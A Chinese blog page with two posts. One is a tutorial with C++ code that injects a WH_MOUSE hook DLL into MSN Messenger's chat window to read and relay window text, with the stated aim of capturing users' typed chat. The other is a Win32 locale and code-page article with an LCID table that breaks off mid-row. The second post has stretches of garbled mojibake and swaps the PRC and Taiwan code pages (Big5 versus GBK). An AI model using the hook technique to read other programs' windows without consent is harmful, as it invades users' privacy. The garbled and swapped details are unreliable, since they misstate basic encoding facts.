2005年09月12日

最近研究怎么样使用HOOK拦截其他应用程序的消息,于是就动手写了一个钩子程序来挂到最常用的通讯及时通讯工具MSN,虽然没有什么实际意义,但作为学习研究却能够帮助我们理解利用HOOK是怎么样将自己编写的DLL注入已经存在的程序空间中的。

我们需要做的是通过我们自己编写的应用程序去拦截别人写好的应用程序消息,实际上这是在两个进程之间进行的,难度就在这里,如果是同一个进程什么都好办,只要将系统响应WINDOWS消息的处理函数修改为我们自己编写的函数就可以,但现在不能这么做,因为两个进程有各自的进程地址空间,理论上你没有办法直接去访问别的进程的地址空间,那么怎么办来?办法还是很多的,这里仅仅介绍通过HOOK来达到目的。

需要拦截别的应用程序的消息,需要利用将自己编写的DLL注入到别人的DLL地址空间中才可以达到拦截别人消息的目的。只有将我们的DLL插入到别的应用程序的地址空间中才能够对别的应用程序进行操作,HOOK帮助我们完成了这些工作,我们只需要使用HOOK来拦截指定的消息,并提供必要的处理函数就行了。我们这里介绍拦截在MSN聊天对话框上的鼠标消息,对应的HOOK类型是WH_MOUSE。

首先我们要建立一个用来HOOK的DLL。这个DLL的建立和普通的DLL建立没有什么具体的区别,不过我们这里提供的方法有写不同。这里使用隐式导入DLL的方法。代码如下:

头文件

#pragma once
#ifndef MSNHOOK_API
#define MSNHOOK_API __declspec(dllimport)
#endif

MSNHOOK_API BOOL WINAPI SetMsnHook(DWORD dwThreadId);//安装MSN钩子函数
MSNHOOK_API void WINAPI GetText(int &x,int &y,char ** ptext);//安装MSN钩子函数
MSNHOOK_API HWND WINAPI GetMyHwnd();//安装MSN钩子函数

==================================================

DLL 的CPP文件

#include "stdafx.h"
#include "MSNHook.h"
#include <stdio.h>

// 下面几句的含义是告诉编译器将各变量放入它自己的数据共享节中

#pragma data_seg("Shared")
HHOOK g_hhook = NULL;
DWORD g_dwThreadIdMsn = 0;
POINT  MouseLoc={0,0};
char text[256]={0};
HWND g_Hwnd  = NULL;
#pragma data_seg()

//告诉编译器设置共享节的访问方式为:读,写,共享

#pragma comment(linker,"/section:Shared,rws")

HINSTANCE g_hinstDll = NULL;

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
      )
{
 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
  g_hinstDll = (HINSTANCE)hModule;
  break;
 case DLL_THREAD_ATTACH:
 case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
  break;
 }
    return TRUE;
}

LRESULT WINAPI GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam);

 BOOL WINAPI SetMsnHook(DWORD dwThreadId)
{
 OutputDebugString("SetMsnHook");
 BOOL fOK = FALSE;
 if(dwThreadId != 0)
 {
  OutputDebugString("SetMsnHook dwThreadId != 0");
  g_dwThreadIdMsn = GetCurrentThreadId();

//安装WM_MOUSE钩子和处理函数GetMsgProc
  g_hhook = SetWindowsHookEx(WH_MOUSE,GetMsgProc,g_hinstDll,dwThreadId);
  fOK = (g_hhook != NULL);
  if(fOK)
  {
   fOK = PostThreadMessage(dwThreadId,WM_NULL,0,0);
  }
  else
  {
   fOK = UnhookWindowsHookEx(g_hhook);
   g_hhook = NULL;
  }
 }
 return(fOK);
}

LRESULT WINAPI GetMsgProc(int nCode,WPARAM wParam, LPARAM lParam)
{

 char temp[20];
 sprintf(temp,"%d\n",nCode);
 OutputDebugString("temp");
 if (nCode==HC_ACTION)
 {
  MOUSEHOOKSTRUCT *l=(MOUSEHOOKSTRUCT *)lParam;
  MouseLoc=l->pt;   //送鼠标位置
  
  //char text[256] = "";
  HWND hWnd = WindowFromPoint(l->pt);
  if(hWnd)
  {
   //GetWindowText(hWnd,text,256);
   SendMessage(hWnd,WM_GETTEXT,256,(LPARAM)(LPCTSTR)text);
//   strcpy(text,"123455555");
   SendMessage(hWnd,WM_SETTEXT,256,(LPARAM)(LPCTSTR)text);
   g_Hwnd =  hWnd;
  }
  //SendMessage(WindowFromPoint(l->pt),WM_GETTEXT,256,(LPARAM)(LPCTSTR)psw);
 }

 return(CallNextHookEx(g_hhook,nCode,wParam,lParam));
}

void WINAPI GetText(int &x,int &y,char ** ptext)
{
 x = MouseLoc.x;
 y = MouseLoc.y;
 *ptext = text;
}

HWND WINAPI GetMyHwnd()
{
 return g_Hwnd;
}

上面是处理钩子的DLL代码,下面我们要让这个DLL起作用还需要一个启动部分,通过这个启动部分我们才能让我们的钩子函数真正的注入到系统其他函数中。我们这里使用个对话框的程序,程序非常简单:一个按钮用来启动钩子,一个用来停止,一个TIMER用来刷新显示,还有一个EDITBOX用来接受信息。

程序如下:

//包含DLL函数导出的头文件
#include "MSNHook.h"

//隐式导入

#pragma comment(lib,"MSNHook.lib")

//声明导入函数

__declspec(dllimport) BOOL WINAPI SetMsnHook(DWORD dwThreadId);
__declspec(dllimport) void WINAPI GetText(int &x,int &y,char ** ptext);
__declspec(dllimport) HWND WINAPI GetMyHwnd();//安装MSN钩子函数

void CTestMSNHookDlg::OnBnClickedOk()
{

//通过SPY++可以看到MSN聊天对话框窗口类是IMWindowClass,通过这个得到该窗口句柄
 CWnd *pMsnWin = FindWindow(TEXT("IMWindowClass"),NULL);
 if(pMsnWin == NULL) return ;

//通过窗口句柄得到对应的线程的ID
 SetMsnHook(GetWindowThreadProcessId(pMsnWin->GetSafeHwnd(),NULL));
 MSG msg;
 GetMessage(&msg,NULL,0,0);
 SetTimer(101,100,NULL);
 
}

void CTestMSNHookDlg::OnTimer(UINT_PTR nIDEvent)
{

//刷新消息
 char * pText = NULL;
 int x = 0,y = 0;
 GetText(x,y,&pText);
 if(x ==0 && y ==0) return ;
 m_Edit.Format("%d:%d:%s",x,y,pText);
 //m_Edit = pText;
 UpdateData(FALSE);

 HWND hWnd = GetMyHwnd();
 CWnd * pWnd = CWnd::FromHandle(hWnd);
 pWnd->GetWindowText(m_Edit);
 CDialog::OnTimer(nIDEvent);
}

void CTestMSNHookDlg::OnBnClickedButton1()
{

//关闭
 KillTimer(101);
 SetMsnHook(0); 
 OnCancel();
}

好了,基本上就这些了。这里有个问题,我本想得到MSN用户聊天时输入的聊天信息,这里通过WM_GETTEXT消息的不到,如果有知道的朋友告诉一声。

2005年07月10日

 

写这篇文章的起因是这么一个问题:我们在使用和安装Windows程序时,有时会看到以“2052”、“1033”这些数字为名的文件夹,这些数字似乎和字符集有关,但它们究竟是什么意思呢?

研究这个问题的同时,又会遇到其它问题。我们会谈到Windows的内部架构、Win32 API的A/W函数、Locale、ANSI代码页、与字符编码有关的编译参数、MBCS和Unicode程序、资源和乱码等,一起经历这段琐碎细节为主,间或乐趣点缀的旅程。

0 Where is Win32 API

Windows程序有用户态和核心态的说法。在32位地址空间中,0×80000000以下属于用户态,0×80000000以上属于核心态。所有硬件管理都在核心态。用户态程序的不能直接使用核心态的任何代码。所谓核心态其实只是CPU的一种保护模式。在x86 CPU上,用户态处于ring 3,核心态处于ring 0。

从用户态进入核心态的最常用的方法是在寄存器eax填一个功能码,然后执行int 2e。这有点像DOS时代的DOS和BIOS系统调用。在NT架构中这种机制被称作system service。

在核心态提供system service的有两个家伙:ntoskrnl.exe和win32k.sys。ntoskrnl.exe是Windows的大脑,它的上层被称为Executive,下层被称作Kernel。Win32k.sys提供与显示有关的system service。

在用户态一侧,有一个重要的角色叫作ntdll.dll,大多数system service都是它调用的。它封装这些system service,然后提供一个API接口。这个接口被称作native API。 native API的用户是各个子系统(subsystem),包括Win32子系统、OS/2子系统、POSIX子系统。各个子系统为Win32、OS2、POSIX程序提供了运行平台。

ntdll.dll由于提供了平台无关的API接口,所以被看作是NT系统的原生接口,由之得到了“native API”的匪号。其实它的主要工作是将调用传递到核心态。

Win32、OS/2、POSIX,听起来很庞大。其实真正做好的只有Win32子系统。OS2、POSIX都是Console UI,即只有字符界面。提供OS/2子系统,只因为在1988年,NT的主要设计目标就是与OS/2兼容,后来由于Windows 3.0卖得很好,所以设计目标被变更为与Windows兼容。提供POSIX子系统,是为了应付美国政府的一个编号为FIPS 151-2的标准。

Win32子系统的管理员是一个叫作csrss.exe的弟兄,它的全名是:Client/Server Run-Time Subsystem。它刚上任时,本来要分管所有的子系统,但后来POSIX和OS/2都被分别处理了,所以只管了一个Win32。即使这样也很了不起,所有的Win32程序的进程、线程们都要向它登记。

不过Win32程序用得最多的还是Win32子系统的DLL们,最核心的DLL包括:kernel32.dll、User32.dll、Gdi32.dll、Advapi32.dll。这些DLL包装了ntdll.dll的native API。其中Gdi32.dll比较特殊,它与核心态的win32k.sys直接保持联系,以提高NT系统的图形处理能力。Win32子系统的DLL们提供的接口函数在MSDN文档中被详细介绍,它们就是Win32 API。

附录0 Windows的启动

计算机上电后,从BIOS的ROM开始运行。BIOS在做一些初始化后会将硬盘的第一个扇区的数据读入内存,然后将控制权交给它,这段数据被称作Master Boot Record(MBR)。

MBR包含一段启动代码和硬盘的主分区表。这段启动代码扫描主分区表,找到第一个可以启动的分区,然后将这个分区的第一个扇区读入内存并运行。这个扇区被称作引导扇区(boot sector)。

引导扇区的代码具备读文件系统根目录的能力,显然不同的文件系统需要不同的代码。引导扇区会从根目录中读出一个叫作ntldr的文件。顾名思义,这个文件是load NT的主要角色。它的业绩主要包括将CPU从实模式转入保护模式,启动分页机制,处理boot.ini等。

如果boot.ini中有一句:

C:\bootsect.rh="Red Hat Linux"

bootsect.rh的内容是Linux引导扇区,用户又选择了“Red Hat Linux”,ntldr就会将执行Linux的引导扇区,开始Linux的引导。如果用户选择继续使用Windows,ntldr会装载并运行我们前面提到的ntoskrnl.exe。

ntoskrnl.exe会启动会话管理器smss.exe。smss.exe启动csrss.exe和winlogon.exe。smss.exe会永远等待csrss.exe和winlogon.exe返回。如果两者之一异常中止,就会导致系统崩溃。所以病毒们经常以打击csrss.exe为乐。

winlogon.exe负责用户登录,在完成登录后,它会启动注册表HKLM\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon项下Userinit值指定的程序。该值的缺省数据是userinit.exe。userinit.exe会装载个人设置,让硬盘响个不停,并考验我们的耐性,最后启动注册表同一项下Shell值指定的程序。该值的缺省数据是Explorer.exe。Explorer.exe运行后,我们就会看到熟悉的开始菜单和桌面。

1 Win32 API的A/W函数

要了解Win32子系统的DLL们提供了哪些API,最直接的方法就是用Win32dsm直接查看DLL们的导出表。这时我们会发现Win32 API中带字符串的API一般都有两个版本,例如CreateFileA和CreateFileW。当然也有例外,例如GetProcAddress函数。

A代表ANSI代码页,W是宽字符,即Unicode字符。Windows中的Unicode字符一般指UCS2的UTF16-LE编码。让我们通过几个实例观察A/W版本间的关系。

例1:用WIn32dsm查看gdi32.dll的汇编代码,可以看到TextOutA调用GdiGetCodePage获取当前代码页,再调用MultiByteToWideChar转换输入的字符串,然后调用一个内部函数。而TextOutW直接调用这个内部函数。

例2:用调试器跟踪一个使用了CreateFileA的程序,可以看到:CreateFileA在将输入字符串转换为Unicode后,会调用CreateFileW。假设输入文件名是“测试.txt”,对应的数据就是:“B2 E2 CA D4 2E 74 78 74 00”。
在调试器中可以看到传给CreateFileW的文件名数据是:“4B 6D D5 8B 2E 00 74 00 78 00 74 00 00 00”。 这是"测试.txt"对应的Unicdoe字符串。CreateFileW会接着调用ntdll.dll中的NtCreateFile。顺便看看NtCreateFile的代码:
mov eax, 00000020
lea edx, dword ptr [esp+04]
int 2E
ret 002C
可见这个native API只是简单地调用了核心态提供的0×20号system service。

例3:gdi32.dll中的GetGlyphOutline函数可以获取指定字符的字模。GetGlyphOutlineA和GetGlyphOutlineW函数都会调用同一个内部函数(记作F)。函数F在返回前将通过int 2E调用0×10B1号system service。
GetGlyphOutlineW直接调用函数F。GetGlyphOutlineA在调用函数F前,要依次调用GdiGetCodePage、IsDBCSLeadByteEx和MultiByteToWideChar,将当前代码页的字符编码转换成Unicode编码。
如果我们调用GetGlyphOutlineA时传入“baba”,这是“汉”字的GBK编码,用调试器可以看到传给函数F的字符编码是“6c49”,这是“汉”字的Unicode编码。

从以上例子可见,A版本总会在某处将输入的字符串转换为Unicode字符串,然后和W版本执行相同的代码。在由A/W版本API引出MBCS程序和Unicode程序前,让我们先解释一下Locale和ANSI代码页。

2 Locale和ANSI代码页

2.1 Locale和LCID

Locale是指特定于某个国家或地区的一组设定,包括字符集,数字、货币、时间和日期的格式等。在Windows中,每个Locale可以用一个32位数字表示,记作LCID。在winnt.h中可以看到LCID的组成。它的高16位表示字符的排序方法,一般为0。在它的低16位中,低10位是primary language的ID,高4位指定sublanguage。sublanguage被用来区分同一种语言的不同编码。下面是部分primary language和sublanguage的常数定义:

#define LANG_CHINESE 0×04
#define LANG_ENGLISH 0×09
#define LANG_FRENCH 0×0c
#define LANG_GERMAN 0×07

#define SUBLANG_CHINESE_TRADITIONAL 0×01 // Chinese (Taiwan Region)
#define SUBLANG_CHINESE_SIMPLIFIED 0×02 // Chinese (PR China)
#define SUBLANG_ENGLISH_US 0×01 // English (USA)
#define SUBLANG_ENGLISH_UK 0×02 // English (UK)

好,现在我们可以计算简体中文的LCID了,将sublanguage的常数左移10位,即乘上1024,再加上primary language的常数:2*1024+4=2052,16进制是0804。美国英语是:1*1024+9=1033,16进制是0409。。繁体中文是1*1024+4=1028,16进制是0404。

2.2 代码页

每个Locale都联系着很多信息,可以通过GetLocalInfo函数读取。其中最重要的信息就是字符集了,即Locale对应的语言文字的编码。Windows将字符集称作代码页。

每个Locale可以对应一个ANSI代码页和一个OEM代码页。Win32 API使用ANSI代码页,底层设备使用OEM代码页,两者可以相互映射。

例如English (US)的ANSI和OEM代码页分别为“1252 (ANSI – Latin I)”和“437 (OEM – United States)”。 Chinese (PRC)的ANSI和OEM代码页都是“950 (ANSI/OEM – Traditional Chinese Big5)”。 Chinese (TW)的ANSI和OEM代码页都是“936 (ANSI/OEM – Simplified Chinese GBK)”。

附录1中有一张很长的表。列出了我正在使用的Windows所支持的135个Locale的部分信息,包括 LCID、国家/地区名称、语言名称、语言缩写和对应的ANSI代码页。

2.3 系统Locale、用户Locale,再谈ANSI代码页

在Windows中,通过控制面板可以为系统和用户分别设置Locale。系统Locale决定代码页,用户Locale决定数字、货币、时间和日期的格式。这不是一个好的设计,后面会谈到它带来的问题。

使用GetSystemDefaultLCID函数和GetUserDefaultLCID函数分别得到系统和用户的LCID。有很多材料将这两个函数和另外两个函数混淆:GetSystemDefaultUILanguage和GetUserDefaultUILanguage。

GetSystemDefaultUILanguage和GetUserDefaultUILanguage得到的是您当前使用的Windows版本所带的UI资源的语言。

用户程序缺省使用的代码页是当前系统Locale的ANSI代码页,可以称作ANSI编码,也就是A姹镜腤in32 API默认的字符编码。对于一个未指定编码方式的文本文件,Windows会按照ANSI编码解释。

2.4 AppLocale

如果一个文本文件采用BIG5编码,系统当前的ANSI代码页是GBK。打开这个文件,就会显示乱码。例如“中文”在BIG5中的编码是A4A4、A4E5,这两个编码在GBK中对应的字符是“いゅ”。这是日文的两个平假名。

在Windows XP平台有一个AppLocale程序,可以以指定的语言运行非Unicode程序。用Win32dsm打开看一看,其实它只是在运行程序前设置了两个环境变量。我们可以用个批处理文件模仿一下:

@ECHO OFF
SET __COMPAT_LAYER=#ApplicationLocale
SET ApplocaleID=0404
start notepad.exe

在简体中文平台,用这个批处理文件启动的记事本可以正确显示BIG5编码的文本文件。用它打开GBK编码的文本文件会怎么样?“中文”会被显示为“笢恅”。设置这两个环境变量会作用于当前进程和其子进程。Windows 2000平台不支持这个方法。

3 MBCS程序和Unicode程序

3.1 与字符编码有关的编译参数

让我们回到Win32 API。我们在程序中使用的Win32 API没有A/W后缀,Windows的头文件会根据编译参数UNICODE将没有后缀的函数名替换为A版本或W版本,例如:

#ifdef UNICODE
#define CreateFile CreateFileW
#else
#define CreateFile CreateFileA
#endif

C RunTime库(CRT)使用_UNICODE和_MBCS来区分三套字符串处理函数,分别用于SBCS、MBCS和Unicdoe字符串。SBCS和MBCS分别指单字节字符串和多字节字符串。例如_tcsclen的3个版本分别为strlen、_mbslen和wcslen ,猜猜以下函数返回几?

strlen("VOIP网关");
_mbslen((unsigned char *)"VOIP网关");
wcslen(L"VOIP网关");

答案是8、6、6。L"ANSI字符串"通知编译器将ANSI字符串转换为Unicode字符串,这是VC++编译器提供的一个小甜点。不过我们应该用宏:_T("ANSI字符串")。_T宏只在我们定义了_UNICODE时才转换。这样同一套代码既可以编译MBCS版本,也可以编译Unicode版本。

MFC用_UNICODE参数区分Unicode版本特有的代码,决定使用什么版本的导入库或静态库。

3.2 Unicode程序、MBCS程序和多语言支持

Unicode程序直接使用Unicode版本的CRT和Win32 API。Unicode程序的运行与当前的ANSI代码页没有关系。MBCS程序的运行依赖于ANSI代码页。如果设计者和使用者使用不同的代码页,就可能出现乱码。微软开发的程序大都是Unicode程序,不管我们怎样变换系统Locale,它们总能正常运行。

使用VCL类库的Delphi程序都是MBCS程序。VCL框架在程序启动会调用GetThreadLocale获取当前用户的LCID,然后在当前目录查找对应的资源文件,命名规则是:程序名+’.'+语言缩写,语言缩写可以参见附录1。在找不到时才会使用EXE文件中的资源。不过如果系统LCID是English(United States),用户LCID是Chinese(PRC),由VCL产生的程序就会出现乱码。读者可以自己分析原因。

为VCL程序做多语言版本。只要用Delphi自带的Resource DLL Wizard再做一个特定语言的资源DLL,原来的程序都不用改。不过很多程序员用其它组件做多语言版本,例如TsiLang 。

MBCS程序虽然也可以做成多语言版本,但它无法在同时显示不同代码页特有的字符,这时就必须使用Unicode程序了。

VS.NET文档中有个多语言资源的例子:SatDLL。它只用Win32 API的例子,却用了VC7项目。我在学习时将它改成了VC6项目,并纠正了它的两个问题:
1、用GetUserDefaultUILanguage读到的是Windows资源版本,不是当前用户设置的代码页。
2、启动时没有使用资源DLL里的菜单。

在我的个人主页(http://fmddlmyy.home4u.china.com)上可以下载修改过的SatDLL。这个程序说明了支持多语言资源的基本思路:将不同语言资源放到不同的DLL中,在程序启动时根据当前Locale装载对应的资源DLL。必要时动态切换资源。为了标记不同语言的资源,可以将它们放到不同的目录中,以LCID作为目录名,例如“2052”、“1033”。当然我们也可以用其它方法联系LCID和资源DLL。

MFC程序可以在App类的InitInstance函数中用AfxSetResourceHandle函数设置资源DLL。在Delphi中动态切换资源可以参考Delphi Demo目录RichEdit项目的ReInit.pas。在读取当前设定时,建议用GetSystemDefaultLCID函数,因为系统Locale决定ANSI代码页。

3.4 资源和乱码

通过检查可执行文件,我们可以确定VC和Delphi的资源编译器都以Unicode保存字符资源。在VC环境编辑资源时,我们会指定资源的代码页。编译器根据资源的代码页,将其转换到Unicode。

Unicode程序直接使用以Unicode编码保存的资源。MBCS程序需要将Unicode资源先转换回当前ANSI代码页,然后再使用。如果资源中的Unicode字符串不能映射到当前代码页中的字符,就会出现??。

例如Windows的标准对话框也会出现乱码。假设我鞘褂眉蛱逯形腤indows,当前Locale是Chinese (TW),我们的程序是MBCS的,使用标准的打开文件对话框。因为在BIG5中没有“开”这个字,所以“打开”会被显示成“打?”。将程序编译成Unicode版本,就可以避免这个问题。

如果字符不是保存在资源中,而是硬编码在程序中。然后开发者和用户使用不同的代码页,就会导致乱码。假设开发者的Locale是Chinese (PRC),用户的Locale是English (US),程序中硬编码了字符串“文件”。 Chinese (PRC)的ANSI代码页是GBK,“文件”的编码“CE C4 BC FE”。English (US)的ANSI代码页是Latin I,用户按照Latin I编码去解释“CE C4 BC FE”,就会看到“Îļþ”。

回答我前面提过的一个问题:Delphi程序根据用户LCID转换资源中的字符串。如果用户LCID是Chinese (PRC),系统LCID是English (US)。那么资源中的Unicode字符串会被转换为GBK编码,然后按照Latin I显示,这时我们看到的就是类似“Îļþ”的东东,不是??。

既然资源是以Unicode保存的,MBCS程序如果不将其转换到ANSI代码页,而用W版本的函数直接显示,就不会产生乱码。例如MFC程序菜单里的中文,在English (US)的Locale也可以正常显示。不过这取决于各部分代码的具体实现,menu bar控件里的中文在English (US)的Locale会全部显示成??。

进一步的参考资料

本文的第0节和附录0主要参考了《Inside Windows 2000 Third Edition》,国内出过该书的影印版。DDK文档中有大量Windows内核的信息。用Win32dsm和各种调试器查看Windows系统文件可以获得更直接的信息。

关于Window程序的字符编码,最好的参考资料是winnt.h等SDK的包含文件、VCL、MFC、CRT的源文件。我们不需要阅读它们,只要找到自己感兴趣的信息就可以了,用Source Insight可能方便一些。

本文所谈的不是什么万古不迁的道理,只是别的程序员的一些设定,我们因为需要使用他们的程序,所以有必要了解一些细节。研究问题的方法和兴趣永远比问题本身重要,如一句拉丁俗语所说:res, non verba,实质胜于文字。

尾声

“明月虽有圆缺,但毕竟永恒不灭,人生却如过眼烟云,一去不回,真不知计较为何?”

“蛙声虽是短促,但却是万籁中一个活泼的禅机,也可以说万古如斯,永恒不迁,无奈感受到的,能有几人?”

这是一本武侠书中的对话。在时间的长河中,人生和蛙声一样易逝。说到蛙声,我的20个月的小宝宝在喝汤后,略加酝酿,就会紧闭着嘴巴,发出很像蛙鸣的声音。我们会逗他说:“小青蛙又来了”。小家伙益发得意,不管我的抗议,将连汤带油的小下巴亲热地贴在我的身上。

 

附录1 一些关于LCID的信息

使用EnumSystemLocales函数可以枚举系统支持的LCID。用GetLocaleInfo可以得到ANSI代码页的ID,再通过GetCPInfoEx可以获得代码页的全称。以下是我在中文Windows XP上读到的内容。

LCID

国家或地区

语言

语言缩写

ANSI代码页

1025

沙特阿拉伯

阿拉伯语(沙特阿拉伯)

ARA

1256  (ANSI – 阿拉伯文)

1026

保加利亚

保加利亚语

BGR

1251  (ANSI – 西里尔文)

1027

西班牙

加泰隆语

CAT

1252  (ANSI – 拉丁文 I)

1028

台湾

中文(台湾)

CHT

950   (ANSI/OEM – 繁体中文 Big5)

1029

捷克共和国

捷克语

CSY

1250  (ANSI – 中欧)

1030

丹麦

丹麦语

DAN

1252  (ANSI – 拉丁文 I)

1031

德国

德语(德国)

DEU

1252  (ANSI – 拉丁文 I)

1032

希腊

希腊语

ELL

1253  (ANSI – 希腊文)

1033

美国

英语(美国)

ENU

1252  (ANSI – 拉丁文 I)

1034

西班牙

西班牙语(传统)

ESP

1252  (ANSI – 拉丁文 I)

1035

芬兰

芬兰语

FIN

1252  (ANSI – 拉丁文 I)

1036

法国

法语(法国)

FRA

1252  (ANSI – 拉丁文 I)

1037

以色列

希伯来语

HEB

1255  (ANSI – 希伯来文)

1038

匈牙利

匈牙利语

HUN

1250  (ANSI – 中欧)

1039

冰岛

冰岛语

ISL

1252  (ANSI – 拉丁文 I)

1040

意大利

意大利语(意大利)

ITA

1252  (ANSI – 拉丁文 I)

1041

日本

日语

JPN

932   (ANSI/OEM – 日文 Shift-JIS)

1042

朝鲜

朝鲜语

KOR

949   (ANSI/OEM – 韩文)

1043

荷兰

荷兰语(荷兰)

NLD

1252  (ANSI – 拉丁文 I)

1044

挪威

挪威语(伯克梅尔)

NOR

1252  (ANSI – 拉丁文 I)

1045

波兰

波兰语

PLK

1250  (ANSI – 中欧)

1046

巴西

葡萄牙语(巴西)

PTB

1252  (ANSI – 拉丁文 I)

1048

罗马尼亚

罗马尼亚语

ROM

1250  (ANSI – 中欧)

1049

俄罗斯

俄语

RUS

1251  (ANSI – 西里尔文)

1050

克罗地亚

克罗地亚语

HRV

1250  (ANSI – 中欧)

1051

斯洛伐克语

斯洛伐克语

SKY

1250  (ANSI – 中欧)

1052

阿尔巴尼亚

阿尔巴尼亚语

SQI

1250  (ANSI – 中欧)

1053

瑞典

瑞典语

SVE

1252  (ANSI – 拉丁文 I)

1054

泰国

泰语

THA

874   (ANSI/OEM – 泰文)

1055

土耳其

土耳其语

TRK

1254  (ANSI – 土耳其文)

1056

巴基斯坦伊斯兰共和国

乌都语

URD

1256  (ANSI – 阿拉伯文)

1057

印度尼西亚

印度尼西亚语

IND

1252  (ANSI – 拉丁文 I)

1058

乌克兰

乌克兰语

UKR

1251  (ANSI – 西里尔文)

1059

比利时

比利时语

BEL

1251  (ANSI – 西里尔文)

1060

斯洛文尼亚

斯洛文尼亚语

SLV

1250  (ANSI – 中欧)

1061

爱沙尼亚

爱沙尼亚语

ETI

1257  (ANSI – 波罗的海文)

1062

拉脱维亚

拉脱维亚语

LVI

1257  (ANSI – 波罗的海文)

1063

立陶宛

立陶宛语

LTH

1257  (ANSI – 波罗的海文)

1065

伊朗

法斯语

FAR

1256  (ANSI – 阿拉伯文)

1066

越南

越南语

VIT

1258  (ANSI/OEM – 越南)

1067

亚美尼亚

亚美尼亚语

HYE

936   (ANSI/OEM – 简体中文 GBK)

1068

阿塞拜疆

阿塞拜疆语(拉丁文)

AZE

1254  (ANSI – 土耳其文)

1069

西班牙

巴士克语

EUQ

1252  (ANSI – 拉丁文 I)

1071

前南斯拉夫马其顿共和国

马其顿语(FYROM)

MKI

1251  (ANSI – 西里尔文)

1078

南非

南非语

AFK

1252  (ANSI – 拉丁文 I)

1079

格鲁吉亚

格鲁吉亚语

KAT

936   (ANSI/OEM – 简体中文 GBK)

1080

法罗群岛

法罗语

FOS

1252  (ANSI – 拉丁文 I)

1081

印度

印地语

HIN

936   (ANSI/OEM – 简体中文 GBK)

1086

马来西亚

马来语(马来西亚)

MSL

1252  (ANSI – 拉丁文 I)

1087

吉尔吉斯坦

哈萨克语

KKZ

1251  (ANSI – 西里尔文)

1088

吉尔吉斯斯坦

吉尔吉斯语 (西里尔文)

KYR

1251  (ANSI – 西里尔文)

1089

肯尼亚

斯瓦希里语

SWK

1252  (ANSI – 拉丁文 I)

1091

乌兹别克斯坦

乌兹别克语(拉丁文)

UZB

1254  (ANSI – 土耳其文)

1092

鞑靼斯坦

鞑靼语

TTT

1251  (ANSI – 西里尔文)

1094

印度

旁遮普语

PAN

936   (ANSI/OEM – 简体中文 GBK)

1095

印度

古吉拉特语

GUJ

936   (ANSI/OEM – 简体中文 GBK)

1097

印度

泰米尔语

TAM

936   (ANSI/OEM – 简体中文 GBK)

1098

印度

泰卢固语

TEL

936   (ANSI/OEM – 简体中文 GBK)

1099

印度

卡纳拉语

KAN

936   (ANSI/OEM – 简体中文 GBK)

1102

印度

马拉地语

MAR

936   (ANSI/OEM – 简体中文 GBK)

1103

印度

梵文

SAN

936   (ANSI/OEM – 简体中文 GBK)

1104

蒙古

蒙古语(西里尔文)

MON

1251  (ANSI – 西里尔文)

1110

西班牙

加里西亚语

GLC

1252  (ANSI – 拉丁文 I)

1111

印度

孔卡尼语

KNK

936   (ANSI/OEM – 简体中文 GBK)

1114

叙利亚

叙利亚语

SYR

936   (ANSI/OEM – 简体中文 GBK)

1125

马尔代夫

第维埃语

DIV

936   (ANSI/OEM – 简体中文 GBK)

2049

伊拉克

阿拉伯语(伊拉克)

ARI

1256  (ANSI – 阿拉伯文)

2052

中华人民共和国

中文(中国)

CHS

936   (ANSI/OEM – 简体中文 GBK)

2055

瑞士

德语(瑞士)

DES

1252  (ANSI – 拉丁文 I)

2057

英国

英语(英国)

ENG

1252  (ANSI – 拉丁文 I)

2058

墨西哥

西班牙语(墨西哥)

ESM

1252  (ANSI – 拉丁文 I)

2060

比利时

法语(比利时)

FRB

1252  (ANSI – 拉丁文 I)

2064

瑞士

意大利语(瑞士)

ITS

1252  (ANSI – 拉丁文 I)

2067

比利时

荷兰语(比利时)

NLB

1252  (ANSI – 拉丁文 I)

2068

挪威

挪威语(尼诺斯克)

NON

1252  (ANSI – 拉丁文 I)

2070

葡萄牙

葡萄牙语(葡萄牙)

PTG

1252  (ANSI – 拉丁文 I)

2074

塞尔维亚

塞尔维亚语(拉丁文)

SRL

1250  (ANSI – 中欧)

2077

芬兰

瑞典语(芬兰)

SVF

1252  (ANSI – 拉丁文 I)

2092

阿塞拜疆

阿塞拜疆语(西里尔文)

AZE

1251  (ANSI – 西里尔文)

2110

文莱达鲁萨兰

马来语(文莱达鲁萨兰)

MSB

1252  (ANSI – 拉丁文 I)

2115

乌兹别克斯坦

乌兹别克语(西里尔文)

UZB

1251  (ANSI – 西里尔文)

3073

埃及

阿拉伯语(埃及)

ARE

1256  (ANSI – 阿拉伯文)

3076

香港特别行政区

中文(香港特别行政区)

ZHH

950   (ANSI/OEM – 繁体中文 Big5)

3079

奥地利

德语(奥地利)

DEA

1252  (ANSI – 拉丁文 I)

3081

澳大利亚

英语(澳大利亚)

ENA

1252  (ANSI – 拉丁文 I)

3082

西班牙

西班牙语(国际)

ESN

1252  (ANSI – 拉丁文 I)

3084

加拿大

法语(加拿大)

FRC

1252  (ANSI – 拉丁文 I)

3098

塞尔维亚

塞尔维亚语(西里尔文)

SRB

1251  (ANSI – 西里尔文)

4097

利比亚

阿拉伯语(利比亚)

ARL

1256  (ANSI – 阿拉伯文)

4100

新加坡

中文(新加坡)

ZHI

936   (ANSI/OEM – 简体中文 GBK)

4103

卢森堡

德语(卢森堡)

DEL

1252  (ANSI – 拉丁文 I)

4105

加拿大

英语(加拿大)

ENC

1252  (ANSI – 拉丁文 I)

4106

危地马拉

西班牙语(危地马拉)

ESG

1252  (ANSI – 拉丁文 I)

4108

瑞士

法语(瑞士)

FRS

1252  (ANSI – 拉丁文 I)

5121

阿尔及利亚

阿拉伯语(阿尔及利亚)

ARG

1256  (ANSI – 阿拉伯文)

5124

澳门特别行政区

中文(澳门特别行政区)

ZHM

950   (ANSI/OEM – 繁体中文 Big5)

5127

列支敦士登

德语(列支敦士登)

DEC

1252  (ANSI – 拉丁文 I)

5129

新西兰

英语(新西兰)

ENZ

1252  (ANSI – 拉丁文 I)

5130

哥斯达黎加

西班牙语(哥斯达黎加)

ESC

1252  (ANSI – 拉丁文 I)

5132

卢森堡

法语(卢森堡)

FRL

1252  (ANSI – 拉丁文 I)

6145

摩洛哥

阿拉伯语(摩洛哥)

ARM

1256  (ANSI – 阿拉伯文)

6153

爱尔兰

英语(爱尔兰)

ENI

1252  (ANSI – 拉丁文 I)

6154

巴拿马

